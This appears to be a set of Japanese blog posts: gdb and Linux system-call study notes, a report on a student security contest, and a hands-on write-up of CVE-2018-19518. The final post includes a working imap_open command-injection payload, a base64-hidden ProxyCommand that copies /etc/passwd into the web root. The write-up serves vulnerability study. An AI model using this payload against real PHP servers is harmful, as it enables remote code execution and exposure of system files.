(gdb) info break
#ブレークポイント削除
(gdb) delete <行数>
#ブレークポイント全削除
(gdb) delete
#記法の設定
(gdb) set disassembly-flavor <記法>
#関数をdisas
(gdb) disassemble main
(gdb) disas main
#現在のフレームを
(gdb) disas
#ソースコード
(gdb) layout src
#アセンブリ
(gdb) layout asm
#レジスタとアセンブリ
(gdb) layout prev
gdb <option> <バイナリファイル> <コアダンプファイル>
#アベンド場所表示
(gdb) where
#上位関数へ
(gdb) up
#下位関数
(gdb) down
(gdb) <表示前>/<表示> <NAME>
形式
説明
x
16進数
d
10進数(デフォルト)
u
符号なし10進数
o
8進数
t
2進数
a
アドレス
c
文字
f
浮動小数点数
i
命令
カーネルでの処理
自分自身、このレベルの低さまで来ると全く想像がつかずはじめはどのように動いているのかは想像がつきませんでした。
しかし実際に本を読んでみると、先ほどのアセンブラの知識を元にしながら、膨大なソースコードの絞り込み方や、目的のソースコードまでのたどり着き方などを優しく記載されており、大変わかりやすかった。
その中でも、カーネルへの引数の渡し方や戻り値の返し方などが自分自身の中ではしっくりときました。
int $0x80はシステムコール命令が呼んだ処理で、システムコールはCPUに対する例外発行となる。
いわゆるソフトウェア割り込みなので、割り込み処理の入口がある。そして割り込み処理はCPUごとの処理なのでアーキテクチャ依存となるのでarchディレクトリにあるのではないかと考える。 カーネルなどのコードリーディングは目的を持って行えば、そこまで重いものではない。これはつまみ食い的な考えで、rubyの開発者である matzも語っている。 その原則を元に今回探すものをまとめる。 すると今回は5つのヘッダーファイルが見つかる。 その後は、ファイル名から絞る。 今回は32で調べているのでそれに絞りそれっぽいものを見つける。 entry_32.Sにはsyscall_callというラベルがあり、これはsys_call_tableへEAX*4した値を加算し関数を呼び出している。 syscall_table_32.Sでシステムコールのテーブルを配列で定義している。 つまるところ、この配列で定義している関数へ アクセスし関数を実行する。 その後、カーネルのコードを読むと、 これが、 hello実行ファイルを利用してパラメータの渡し方を見ていく。 2章でわかった事として、システムコールのwriteを利用していた。そこでgdbにブレークポイントをwriteに設定してから初めていく。 次にシステムコールを呼び出した箇所にもブレイクポイントを貼り、レジスタの状態を見てみる。 するとEAX/EBX/ECX/EDXの4つのレジスタが利用され、そのレジスタに値が保持されていた。 現状の整理をしていこう
- 現状実行しようとしているものとして、eipが指し示している__kernel_vsyscallであると推測できる
- writeシステムコールは標準出力で、ファイルディスクリプタの値は1
- 表示される文字列は"Hello world! 1 /home/user/hello/hello"の38バイト
ここから推測できる事としてEBXとECX,EDXは何かしらの関係はあるのではなかろうかという事である。 さらにESPの値とEDXの値が近いことからEDXの値はスタック上のものであると考えられる。そのことからスタックの中を確認する。 先頭スタックには+12のいちまで引数と思われる値が3つ連なっている。
このことから、スタック上にもシステムコールの引数が配置されていると考えられるが、この本で後述されているシステムコールラッパーの呼び出しのためのものであり、write()を呼び出した時にスタック経由で渡された引数である。 つまり、int $0x80そのものによって参照される箇所ではない。 実行を再開してみてレジスタを見てみよう。 EAXの値が変動している。これは2章で述べていた関数の戻り値は、EAXを経由して返されるということを鑑みるに戻り値なのであろう。 システムコールのパラメータとしては、システムコールに渡されるものとシステムコール番号が存在する。 はじめにシステムコール番号から考えていく。 先のsys_call_tableは配列であるのではないかと先に推測していたが、これを考慮するとEAXに存在した4の数値は配列のインデックスなのではないかとなる。 また、それを裏付けるヘッダが存在しており、/arch/x86/include/asm/unistd_32.hの内部にはシステムコール番号が定義されている。 次はシステムコールの引数についてだ、システムコールの引数はどのように渡されているのか。 Linuxカーネルのシステムコール処理では、system_callからsystem_callに入り、call命令によって処理関数を呼び出している。 先も述べた通り、x86では引数はスタックで引き渡す。つまりスタック上に値を保存している箇所があれば、そこが引数を渡している場所になる。 そのような視点で探すと、SAVE_ALLというマクロがentry_32.Sにて定義されている。 このマクロは、system_call内部で利用されている。 push命令で、EDX/ECX/EBXの値がスタックに渡されている。これが、スタック上に格納された状態でcall命令にシステムコールの処理関数が呼ばれているため、これがシステムコールに引数を渡す処理となるのであろう。 このことから、x86ではEAXでシステムコール番号を受け渡すことであろう。 Linux/x86では、EAXにシステムコール番号、EBX以降に引数を入れ これは、Linux/x86でのシステムコール体系だからであり、FreeBSDであればまた異なる。 システムコールを呼び出す作業はすべてアセンブラで記述する必要がある。そのことから、Cから呼び出せる関数という形でライブラリ化して、システム側から提供してもらう。 だからこそ、write()を利用すれば呼び出せるということになる。 そのような役割りのアセンブラで書かれた関数はシステムコールラッパーと呼ばれる。 1章で書いたスタックの図のように、戻り値の下には、積まれた値が存在することから 、これらが呼び出しの際に利用された引数だと考えられる。 このことから、システムコールを実行するラッパーでは引数の受け取りにスタックの値を利用しているのではないかと考える。 そしてそのラッパーを見てみると( その後、アドレスを直接指定し関数を実行している。 ここの箇所が、int %0x80を実行していることがわかった。 戻り値はEAXを通してシステム上では返すことは決まっている。 その原則から考えるとEAXから返すのは当然であろう。しかし、システムコール(int 0x80)を呼び出す箇所( これは、エラー発生時の処理である、これが実行されることによりerrnoを設定することができる。 errnoを設定する関数であると言ったが、その理由としてカーネルがアプリケーションレイヤーのエラーハンドルを実施するのは、できなくはないがおかしな話である。そこで、標準のCライブラリ(システムコールラッパー)ではエラーハンドリングを行う関数がコンパイル時にリンクされる。 その際にリンクされるのがsyscall error である。 この理由として、カーネル、そしてAPIの移植性を確保するためである。 さらに、この関数がerrnoを設定する。 正しい戻り値が負の値の場合、返すことができない これを解決する方法は、二つ存在する。 スタックで設定する しかし、上はLinuxでは行なっていない。これは制限が6までと制限されていることが挙げられる。 下は実際過去に行われていた。なぜそのようなことが行われていたかというと、カーネルの引数は4つまでであるという制限があった。そのためこれは一つの回避策として構造体を使い回避されていた。 代表例としてselectが挙げられる。読書時にまとめたノート
読書時にまとめたノート
今までのまとめ
printf()で出てきた`int $0x80`は下記の意味を持つ
カーネルを読む
ディレクトリ構造をみる
ディレクトリ名
内容
arch
アーキテクチャ依存の処理
fs
ファイルシステム関連
kernel
カーネルのアーキテクチャ共通処理
drivers
各種デバイスドライバ
include
各種ヘッダファイル
mm
仮想メモリ関連
net
ネットワーク関連
cd arch/x86
目的の処理を探す
割り込みハンドラ
set_system_trap_gate
という関数があることがわかる。おそらくこれは割り込みハンドラの登録処理であろう。つまり割り込みハンドラとしてsystem_callが登録されているというわけになる。int $0x80
が実行された時にソフトウェア割り込み処理の入り口となる。パラメータの渡し方を見てみる
(gdb) x/16xw $esp
システムコール番号
システムコールの引数
int %0x80
を実行することいでシステムコールを実行することができると言える。システムコールラッパー
__write_nocancel
)はじめにスタックの値をレジスタに写している。戻り値の返し方
システムコールでの返し方
__write_nocancel
)をみるとcmp(比較命令)が存在し、その下には__syscall_error
なる関数が呼び出されている。エラーハンドル
カーネルの問題点
引数問題
感想
正直、はじめはprintf()なんて表示するだけじゃないか、と思いながら1度目の本の目通を行なっていました。しかしその目通しの段階で、僕の知らない技術や未知の領域が広がっており、この本をやることに期待で胸いっぱいになっていました。
2度目を読む際には実際に手を動かし、ノートを取りながら読み進め多くの知識を得ました。
しかし読むにつれわからない単語や技術が多かったのでもう少し関連書籍を巡回してみようと思った次第です。
MBSD Cybersecurity Challenges 2018に行った話
MBSD Cybersecurity Challenges 2018に行った話
書き出し
初めまして、あざらと申します。 12月12日に開催されたMBSD主催のMBSD Cybersecurity Challengesに1年ぶり2度目の参加してきた。
筆者の学校からは多くのやる気のある1年生や、昨年出場した2年生が出場することにより、合計4チームがエントリーし、互いに切磋琢磨しながらコンテストに挑みました。 筆者のチームは、1,2年各2人の構成でエントリーしました。
今年の出場チームは昨年よりも多く、下記の引用の様に全国36校から106ものチームが応募する大イベントになっていました。筆者は予選すら通らないのではとヒヤヒヤものでした。
セキュリティコンテスト「MBSD Cybersecurity Challenges 2018」には、全国36校から106チームのエントリーがありました。多数のご参加ありがとうございました。
うち、サイバー攻撃の全貌解明レポートを期限までに提出していただいた80チームについて、一次審査を行いました。厳選なる審査の結果、下記の10チームが入賞となりました。
※引用元 : 専門学校と経営:セキュリティコンテスト一次審査結果発表
さて、前置きはここまでにして本題に入っていきましょう。
予選
今年の課題は大きく分けて3つあり、攻撃の解明(Log解析)と対策の提案、そして報告書という形でまとめ上げて提出すると言うものでした。
一昨年、昨年とサービスの脆弱性を探し出すと言う物だったので今年も脆弱性診断系であろうと考えていた筆者は、この課題が発表された時に頭が真っ白と言う状態でした。 なんせLog解析なんて初めてで知識も何をすればいいのかも解らない、これはもう終わったと思うばかりでした。
しかしこの気持ちをずっと引きずっても意味がない、そしてできればBurpが欲しいと気持ちを切り替え予選の準備を始めました。
マイナス10日から始まった予選
課題の概要が公開されてから2日が経ち、そろそろ準備を始めなければならないと思い始めた。 ひとまず、参考書籍を手に取りながらパラパラと読み進める。多くの攻撃のログやその読み方などが載っていて初めてログ解析をする筆者にもわかりやすく、ログを見る際の多くのコツを学べました。
粗方、読み方を理解すると次はより効率的、かつ報告書に活かせる様にログを捌くかを考え始めました。 まだ課題本体は配布されておらず、ログがどのくらいの規模かもつかめていない状態でした。その中、筆者は一度使ってみたい技術があり、予選が始まるまでにその技術の基盤を整備し始めました。
その技術というのはELKstackという技術です。
ELKStack
ただ一度使ってみたいからと言ってもそれだけの理由で採用して失敗したくないと思い色々と調べ、この3つが筆者の中での決め手となりました。
1つめは、Logの可視化という点
これは筆者的に一番重要な箇所で、直感的かつ関連性が表現されるグラフにより、結果的に十数万件のLog解析の大きな武器になりました。
2つめは、ログデータ内の集計が容易で出力形式にCSVがあるという点
多くのアクセスログからユーザーエージェントだけ抽出し、どのログを集計したいときにこの機能に頼りました。 下の図のようにリスト形式で集計結果を表示してくれる他に、下の2枚目のようにCSV形式で出力できるため、ExcelやWordに転記しやすく、結果的に解析の本質的な部分に注力できました。
3つめは、pipelineの設定で複数のLogを一度に見れるという点
これはpipelineを通すことにより複数種のログを一纏めにも、分割にもできるということができました。
Logstashのpipelineは今回上手に描くことができませんでしたが下記のようにinputファイルごとにタグ付けを行い、そのタグやタイプごとにフィルターを通すことによってtime stampなどの画一化できる箇所の形式統一ができるようになりました。
またこの技術を利用するにあたりチームメンバー全員が動かせる環境が必要でした。その条件を満たすために筆者はdocker-composeを利用し環境を構築し、その構築済みの環境をチームメンバーに配布しました。
これで解析基盤を整備できたので、次は情報の集積方法を整備しようと考えました。
情報集積
情報の集積と共有は主にgoogleスプレッドシートとGitHubを利用して怪しいログの洗い出しとレポートの管理を行いました。 これらの使い方として、スプレッドシートでは作戦や見つけた攻撃のログを集めるだけ集めて、メモをや備考を描き連携をとりました。GitHubではある程度のテンプレートに沿ったマークダウンでレポートを収集し、それをWord変換の自動化ツールで結合・集積することで報告書へ落とし込んでいました。
この情報集積に使ったスプレッドシートにはできる限り自分たちの労力を減らす仕組みが多く仕込まれています。例えば、下の画像のように、CVSSv3の計算をある程度直感的に行えるようにしており、表示や整形まで行えるようなものを作っていました。
調査と報告
10月22日から始まった一次審査の期間中に、筆者ともう1人の2年は1週間ほど中抜けし沖縄に行くというチームの1年生にとっては大きなイベントがありましたが、結果的には報告書はボロボロの状態ではありますが提出することに成功しました。
この情報集積に使ったスプレッドシートにはできる限り自分たちの労力を減らす仕組みが多く仕込まれています。例えば、下の画像のように、CVSSv3の計算をある程度直感的に行えるようにしており、表示や整形まで行えるような仕組みを作っていました。
振り返り
先の書き出しで『昨年も出場した』と書きましたが、昨年は3位と1点差で4位という苦い思いをしましたが、今年もそれに近い形でした。
今年は2位という好成績ではありましたが1位の同じサークルから出たチームと1点差... 悔しさもありながら、結果が出てからわかる反省点や振り返りもあり、それを少しまとめていきたいと思う。
反省点
焦りすぎは禁物
今回は筆者自身のスケジュールが詰め気味で、後半は焦る気持ちで同じチームの一年生にプレッシャーと不安を与えてしまい、すごく反省をしている。そして、余裕をなくすことにより、後述する「書く人がいれば読む人もいる」ということにも繋がりますが、誤字脱字が多くなりそれを良しとしてしまう状態になってしまいました。
実際の仕事でも期日が決まっている仕事もあるでしょうし、この大会を通しこのようなことに気づけたことは良かったのだなとおもった。
書く人がいれば読む人もいる
筆者は言語化というものに苦手意識を持っており、下書きをしてから本書きということや、読み直しを行わずに書いてしまう癖がある。
その中で、今回の講評で一番大きかったマイナス点として誤字脱字の多さがあったと指摘された。
コンテストでは必ず審査員がおり、その審査員が読むからこそより細心の注意を払いながら書くべきだと今では思っている。
そして、このコンテストが本当の仕事でなかったことに安堵するばかりである。
書けばわかる訳ではない
今回2人の1年生とともに出場したが、チームのやることを書き残すことは行なっており、それを見て僕たちのいない時の作業をやってほしいと伝えた。逆を言えば、その書き残すことしか僕はやっていなかったのである。
軽くアドバイスや調査の仕方、レポートのまとめ方は説明したがそれが役に立ったのかも若干怪しいところではある。
実際に大会の後、徐々に筆者の中で緊張がほぐれ状況を整理していくうちに「もっと教えてあげれば良かった、もっとサポートしてあげれば良かった」との自責の念、そして今後はこのような方法では行なってはいけないという決心がついた。
感じたこと
初めては学びを促進する
書き出しでも述べたように、筆者自身がLog解析を行うのが初めてで何もわからないことばかりでした。だけど初めてのもの、新しいものを学ぶのはすごく楽しいしワクワクするものだなと改めて感じました。
昨年の大会の時も同じようにWebセキュリティへの憧れと楽しさを学び、感じることができました。この気持ちは多分いつまでも続いていくものであれと思うばかりです。
セキュリティエンジニアに限らず多くの先人エンジニアの方は、この気持ちがあったのかなと思いを馳せる次第でした。
まとめ
今回参加をしたことにより技術面や人間面で学ぶことが多くあり、この経験を活かしながら今後の学生生活、そして就職後の人生に役立てたらなと思っています。
この大会を主催していただいた三井物産セキュアディレクション様をはじめ、協賛の企業4社(敬称略 サイボウズ/Tanium合同/日本マイクロソフト/日本HP)、そして事務局の皆様に感謝の気持ちでいっぱいです。
来年も面白い課題が出題されることを心待ちにしています!(今年みたいに課題の趣旨変更でマルウェア解析とかが来たらすごく胃が痛いです)
また、一緒に戦ったチームメンバーにも感謝と反省の気持ちを伝えたい。ありがとう。
今回の日記で書ききれなかった技術的なことは、別途気が向いたら書いていきたいと思います。
読んでくださいありがとうございました。
余談
大会で2位になった際にいただいたAmazonカード1万円分で何を買おうかと悩んだ際に、ハッキング・ラボの本でも買おうかなとなりました。
残金をどこに使おうかと考えた結果、生活が苦しいので洗剤と柔軟剤、そして備蓄用の水にでもしようかなと考えています。
大会準備・期間中に一通り読んだ本/サイト一覧
CVE-2018-19518の元情報を日本語訳しながら実際に試したまとめ
概要
このフォーラムの情報を翻訳しながら試した内容と等を書き連ねています。
-oProxyCommand=echo\tbase64encodestr==|base64\t-d|sh}
のようなタブ文字とbase64文字列を挿入することにより任意のコマンドが実行可能になる脆弱性です。
1. はじめに
imap_open関数は本来このように
$imap = imap_open('{'. $_POST['server'].':993/imap/ssl }INBOX', $_POST['login'], $_POST['password']);
{ ホスト名:ポート[フラグ名] }mailbox_name,login,password
をという形で引数に渡します。
2. ライブラリの中身
PHPマニュアルの内部にはこのような一文がありました。
"/norsh 事前に認証済みの IMAP セッションを確立する際に、rsh や ssh を使用しません。"
これを逆説的に考えるとimap_openではRSHやSSHなどを使用し事前に認証済みのIMAPのセッションを確立させているということがわかります。
つまり、RSHやSSHを利用し指定されたIDとパスワードでホストに接続する。そこでimapに接続をするという感じになります。
その際に利用されるライブラリのコードはこちらになります。
#SSHPATHが存在するかを確認 if (!sshpath) sshpath = cpystr (SSHPATH); #RSHPATHが存在するかを確認 if (!rshpath) rshpath = cpystr (RSHPATH); #endif if (*service == '*') { /* SSH必要? */ /* SSH出ない場合はNILを返す */ if (!(sshpath && (ti = sshtimeout))) return NIL; /* SSHコマンドのprototypeが定義されているか? */ if (!sshcommand) sshcommand = cpystr ("%s %s -l %s exec /etc/r%sd"); } /* RSH必要? */ else if (rshpath && (ti = rshtimeout)) { /* RSHコマンドのprototypeが定義されているか? */ if (!rshcommand) rshcommand = cpystr ("%s %s -l %s exec /etc/r%sd"); } else return NIL; /* rsh disabled */
コマンド実行時に割り当てられる順番としては、
- rsh-path
- hostname
- ユーザー名
- 接続方法
といった順で割り当てられながら下のprototypeのような形式に挿入されます。
"%s %s -l %s exec /etc/r%sd"
また、SSHPATHの判断は/etc/c-client.cfが形成されdorc()で行なっているらしいです。
3. tcp_aopen
rimapのクライアントルーチンの際にtcp_aopen()を使って動作します。
※rimapについて詳しくはこちら
その際に子プロセスを先ほどのPHPコード内部のrshcommand
を実行します。
この関数の仕様上、MacやDOS、Windowsでは全てNILを返します。
このことから、事前に承認されたセッションはLinuxのみでよびだされ、RSHへのパスはmakefileにハードコア指定されており、SSHは指定されていません。
ですが、近年では下記のようにRSHコマンドの置き換えや廃止が行われています。
RHEL-like: rsh = not found Debian-like: rsh -> ssh Arch Linux: rsh = rsh FreeBSD: rsh = rsh (deprecated)
今回の脆弱性では、Debianでのrshのリンクがsshに書き換わっているという部分が問題になっています。
4. 脆弱性の悪用
ここまで説明した内容でも、rimapdを起動するシステムコールに最初に記載した文字列を埋め込むことで悪影響を与えることは容易に想像ができます。
そこで、手始めにlocalhostを渡してみます。
[pid 4350] execve("/usr/bin/rsh", ["/usr/bin/rsh", "localhost", "-l", "twost", "exec", "/usr/sbin/rimapd"], [/* 54 vars */] ...
すると、localhostの場所にはしっかりとlocalhostと引数が割り当てられます。
先ほどのrshの内容は見ての通りDebian系ではsshに変換されます。
一応その確認の方法として下記のコマンドを打ち込むことで確認が可能になっています。
$ which rsh $ ls -la /usr/bin/rsh $ ls -la /etc/alternatives/rsh $ rsh
さて今回のポイントとなる、sshの-o
についてです。
このオプションにはコンフィグに利用されるProxyCommand(多段sshの際の設定)をセットできるようになっていて、1回目のssh時にコマンドを実行できます。
5. shimのみのRCEバイパスではなくなった。
インタープリタではなくライブラリが呼び出す別のプロセスでこれを実行するので、攻撃者はPHPの無効化システムの干渉を受けません。
6.引数にスラッシュと空白が使えなかった
まずはじめにimap_openのフラグは、スラッシュで区切られており、引数はスペースで区切られています。 そのためどちらも回避しなければ任意のコード実行はできませんでした。
そこで\t
とbase64でエンコードした文字列を使い引数に使われる文字列を回避します。
$server = " -oProxyCommand=echo\tY2F0IC9ldGMvcGFzc3dkID4gL3Zhci93d3cvaHRtbC9IYWNrLmh0bWw=|base64\t-d|sh}"; imap_open('{'.$server.':143/imap}INBOX', '', '') or die("\n\nError: ".imap_last_error());
これによりimap_openのライブラリ内部で生成され実行されるコマンドとして
/usr/bin/rsh -oProxyCommand=echo\tY2F0IC9ldGMvcGFzc3dkID4gL3Zhci93d3cvaHRtbC9IYWNrLmh0bWw=|base64\t-d|sh -l exec /usr/sbin/rimapd
が生成され去れます。
これにより、imap_openの実行時にrshが呼び出されsshが実行される、そしてその引数に与えられたProxyCommandによりbase64化した任意のコマンドが実行することによりRCEは成功します。
参考文献